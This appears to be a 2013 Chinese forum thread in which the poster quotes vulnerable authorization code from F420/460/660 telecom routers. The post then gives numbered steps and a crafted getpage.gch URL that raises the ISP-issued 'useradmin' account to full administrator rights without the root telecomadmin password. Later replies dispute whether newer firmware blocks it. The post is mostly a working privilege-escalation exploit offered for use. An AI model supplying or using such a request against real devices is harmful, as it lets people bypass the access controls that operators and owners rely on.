xsser 发表于 2013-3-13 00:34:58

[原创]F420 460 660 在root telecomadmin密码未知时,获得路由器WEB最高管理权限

本帖最后由 xsser 于 2013-3-13 02:51 编辑

由于user_info_gch.gch文件中下列代码存在漏洞,我们可以通过如下的方式钻个空子if(FP_ACTION=="apply"){
if((getenv("Right")==1&&FP_INDEX!=1)||(getenv("Right")==2&&FP_INDEX==1)){
                FP_HANDLE=create_paralist();
                set_para(FP_HANDLE,"Type",request("Type"));
                set_para(FP_HANDLE,"Enable",request("Enable"));
                set_para(FP_HANDLE,"Username",request("Username"));
                set_para(FP_HANDLE,"Password",request("OldPassword"));
                set_para(FP_HANDLE,"Right",request("Right"));
                FP_RESULT=login(FP_HANDLE, "OBJ_LOGIN_ID");
      }else {
                FP_RESULT=0;
      }
      
      if(FP_RESULT==0){
                if(FP_INDEX>=0){
                        FP_HANDLE=create_paralist();
                        for(var i=0;i<FP_PARANUM;i++){
                              setpara(FP_HANDLE,PARA);
                        }
                        FP_IDENTITY=set_inst(FP_HANDLE, FP_OBJNAME,FP_IDENTITY);
                }
      }else {
                FP_ERRORSTR=FP_RESULT;
      }
}1.用电信给你的useradmin帐户和密码登陆路尤器WEB管理页面

2.登陆成功后直接在IE中访问如下网址
http://192.168.1.1/getpage.gch?pid=1002&nextpage=manager_user_conf_t.gch&Type=NULL&Enable=NULL&Username=useradmin&Password=这里替换成你useradmin用户的密码&Right=0&IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&IF_INDEX=1&OldPassword=这里替换成你useradmin用户的密码

注意,上述URL有两个地方要替换成您useradmin的密码

3.重新用useradmin用户登录试试看,是不是成了超级用户了:-)

880758 发表于 2013-3-13 08:55:54

{:soso_e103:}

bigninja 发表于 2013-3-13 10:05:41

这个方法不是通用的,只有部分版本才支持。{:soso_e144:}

xsser 发表于 2013-3-13 10:16:03

我没有那么多环境,每个路由器的信号分别找了两个人帮忙测试,均成功.

lawman 发表于 2013-3-13 12:29:12

扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了

xsser 发表于 2013-3-13 14:18:08

lawman 发表于 2013-3-13 12:29 static/image/common/back.gif
扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了

拿的是WEB权限,谁告你telnet了?

lawman 发表于 2013-3-13 14:53:51

你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限

xsser 发表于 2013-3-14 10:54:33

lawman 发表于 2013-3-13 14:53 static/image/common/back.gif
你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限

gch访问权限封掉的话怎么访问web后台呢,不可能不让访问吧

lyh0018 发表于 2013-3-14 12:11:53

szhaoxp 发表于 2013-3-26 21:11:55

页: [1] 2 3
查看完整版本: [原创]F420 460 660 在root telecomadmin密码未知时,获得路由器WEB最高管理权限